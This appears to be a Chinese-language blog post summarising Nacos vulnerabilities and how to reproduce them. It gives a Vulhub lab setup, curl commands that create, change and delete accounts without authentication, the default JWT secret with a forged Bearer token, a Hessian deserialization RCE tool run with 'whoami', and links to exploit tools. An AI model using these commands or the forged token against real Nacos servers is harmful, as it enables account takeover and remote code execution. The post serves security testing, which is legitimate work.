当前位置: 首页 > news >正文

nacos漏洞汇总

1 nacos介绍

1.1 nacos是啥

Alibaba Nacos是阿里巴巴推出来的一个新开源项目,是一个更易于构建云原生应用的动态服务发现、配置管理和服务管理平台。致力于帮助发现、配置和管理微服务。Nacos提供了一组简单易用的特性集,可以快速实现动态服务发现、服务配置、服务元数据及流量管理。

指纹:app=“nacos”
默认密码nacos nacos

1.2 环境搭建

参考:https://vulhub.org/#/docs/install-docker-one-click/
(1)先按照搭建地址上面的步骤一步一步安装docker容器,再把Vulhub下载到里面

(2)安装完成后,来到nacos的cve的文件夹下面,运行命令行搭建环境

cd /vulhub/nacos/CVE-2021-29441
docker-compose up -d

(3)访问你的nacos:http://你的环境ip:8848
在这里插入图片描述
(4)移除环境

docker-compose down

(5)也可以直接通过docker直接部署nacos


docker pull nacos/nacos-server:2.0.3 
# Start nacosdocker run -d -p 8848:8848 -p 7848:7848 -e MODE=standalone -e PREFER_HOST_MODE=hostname  --restart always --name nacos nacos/nacos-server:2.0.3

2 nacos漏洞

漏洞漏洞探测方式
CVE-2021-29441 Nacos权限认证绕过漏洞/nacos/v1/auth/users?pageNo=1&pageSize=1
secret.key 默认密钥 CNVD-2023674205/nacos/v1/auth/users?pageNo=1&pageSize=9&search=accurate返回403就可以考虑伪造jwt
CVE-2021-29441 Nacos权限认证绕过漏洞curl “http://ip:端口/nacos/v1/auth/users?pageNo=1&pageSize=9&search=blur” -H “serverIdentity: security”
Nacos 集群 Raft 反序列化漏洞 CNVD-2023-45001开放7848端口
sql注入derby数据库 /nacos/v1/cs/ops/derby?sql=select+*+from+sys.systables

2.1 未授权获取信息

(1)获取所有用户名和密码,虽然密码是加密的
/nacos/v1/auth/users?pageNo=1&pageSize=9
(2)获取集群信息
/nacos/v1/core/cluster/nodes?withInstances=false&pageNo=1&pageS%20ize=10&keyword

2.2 未授权进行nacos账号的CRUD

(1)创建新账号

curl -X POST -d "username=xxxx&password=xxxx123" -H "User-Agent: Nacos-Server" "http://ip:8848//nacos/v1/auth/users"

(2)修改账号crow密码成功:

curl -X PUT "http://ip:8848/nacos/v1/auth/users?accessToken=" -H "User-Agent:Nacos-Server" -d "username=cxxw&newPassword=crxxx23"

(3)删除用户

curl -X DELETE "http://ip:8848/nacos/v1/auth/users?accessToken=" -H "User-Agent:Nacos-Server" -d "username=crxxxw"

2.3 nacos伪造token漏洞:token.secret.key默认配置(QVD-2023-6271)

在nacos中,token.secret.key值是固定死的,位置在conf下的application.properties中
默认的key:按照以下步骤伪造token

SecretKey012345678901234567890123456789012345678901234567890123456789

(1)选取时间戳,在这里注意:
使用网站http://shijianchuo.wiicha.com/计算时间戳,1719564997这个值是unix时间戳,换算一下,要比你系统当前的时间更晚,比如当前的时间是2024年06月27日16:56:37,在这里面的时间戳时间是6月28号了:
在这里插入图片描述
(2)伪造token

由于默认的token.secret.key指为下面所示

SecretKey012345678901234567890123456789012345678901234567890123456789

,然后使用https://jwt.io/网站进行token的伪造,注意填好以下3个值,选择base64 encoded,然后复制生成的token
在这里插入图片描述
(3)使用伪造的token进行登录
选择nacos账号登录,使用burp拦截,增加header,然后放行,就登录成功了

Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6IjE3MTk1NjQ5OTciLCJpYXQiOjE1MTYyMzkwMjJ9.RljLrkJzXw5uBzzEWh8ebIi4Fl1BfheW3gaZjv-Emq8

2.4 Nacos Hessian反序列化漏洞

(1)漏洞原理:
Nacos在处理某些基于Jraft的请求时,采用Hessian进行反序列化,但并未设置限制,导致应用存在远程代码执行漏洞。Nacos 1.x在单机模式下默认不开放7848端口,故该情况通常不受此漏洞影响。然而,2.x版本无论单机或集群模式均默认开放7848端口。
(2)漏洞探测
使用工具https://github.com/c0olw/NacosRce/releases,下载jar后,需要注意java8运行jar包

java -jar NacosRce.jar http://192.168.90.1:8848/nacos  7848 "whoami"

2.5 其他综合工具使用结果

(1)NacosExploitGUI_v3.9.jar
地址: https://github.com/charonlight/NacosExploitGUI/releases/tag/v3.9
使用结果: 下载最新的jar包,双击打开NacosExploitGUI_v3.9.jar(java8)
在这里插入图片描述
(2)HKEcho_Nacos
地址: https://github.com/HKEcho5213/HKEcho_Nacos
检测漏洞列表:

以下漏洞顺序执行直到获取到一个账号:

0、未授权查看用户列表
1、检测nacos默认口令
2、任意用户添加
3、任意用户添加UA_Bypass
4、任意用户添加末尾斜杠绕过
5、默认JWT任意用户添加
6、JWT_Secret_Key硬编码绕过
7、Identity硬编码绕过
8、QVD-2023-6271身份认证绕过
一旦某个漏洞获取账号密码后,会调用a1phaboy师傅写的nacosleak读取配置文件
9、Nacos_Jraft_Hessian反序列化漏洞
程序会调用c0olw师傅写的NacosRce打一遍Jraft_Hessian反序列化漏洞(本工具在调用这个NacosRce工具前会判断Java环境,若不存在,则告警不执行)

使用步骤:

conda env list #使用虚拟python环境
activate py38 
pip install -r requirements.txt
python HKEcho_Nacos.py -h
python HKEcho_Nacos.py -u http://192.2xx.2xx.1x:8848 单个目标检测

(3)nacos_vul
地址 :https://github.com/Pizz33/nacos_vul
使用结果: 待使用

(4)哥斯拉nacos后渗透插件
地址 : https://github.com/pap1rman/postnacos
**使用结果:待研究
(5)nuclei
待研究:
https://mp.weixin.qq.com/s/jovBE_wVIGl_e__fXm71bw

参考:
1.Nacos身份认证权限绕过+漏洞利用工具分享

2.云原⽣组件Nacos新型红队手法研究

3.从0认识+识别+掌握nacos全漏洞(攻防常见洞)带指纹表和利用工具

4.Nacos漏洞复现总结----非常详细-再学习

http://www.lryc.cn/news/385130.html

相关文章:

  • React Antd ProTable 如何设置类似于Excel的筛选框
  • 句法分析概述
  • 简单了解css的基本使用
  • 构建网络图 (JavaScript)
  • 洛谷U389682 最大公约数合并
  • video_多个m3u文件合并成一个m3u文件
  • x264 码率控制 MBtree 原理:i_propagate_cost计算过程
  • C语言基础笔记(全)
  • 通过注释语句,简化实体类的定义(省略get/set/toString的方法)
  • springboot框架使用Netty依赖中解码器的作用及实现详解
  • Python爬虫实战之爬取京东商品数据
  • 浅析Resource Quota中limits计算机制
  • 《数据结构与算法基础 by王卓老师》学习笔记——1.4算法与算法分析
  • 运维团队如何加强安全设备监控与日志管理
  • 仓库管理系统13--物资设置
  • 机器人控制系列教程之URDF文件语法介绍
  • Arathi Basin (AB) PVP15
  • Ubuntu/Linux SSH 端口转发
  • flask的locked_cached_property
  • OSI七层模型TCP/IP四层面试高频考点
  • Swagger2及常用校验注释说明
  • 【项目实训】各种反爬策略及爬虫困难点总结
  • 能量智慧流转:全面升级储能电站的智能网关解决方案
  • 【金融研究】6月,对冲基金狂卖美国科技股 短期乐观,长期悲观?“油价最大空头”花旗:明年跌到60
  • GroundingDINO1.5突破开放式物体检测界限:介绍与应用
  • centos编译内核ko模块
  • Android13 WMS窗口层级树
  • 计算机毕业设计Python+LSTM+Tensorflow股票分析预测 基金分析预测 股票爬虫 大数据毕业设计 深度学习 机器学习 数据可视化 人工智能
  • 仓库管理系统14--仓库设置
  • Python 算法交易实验73 QTV200第二步: 数据清洗并写入ClickHouse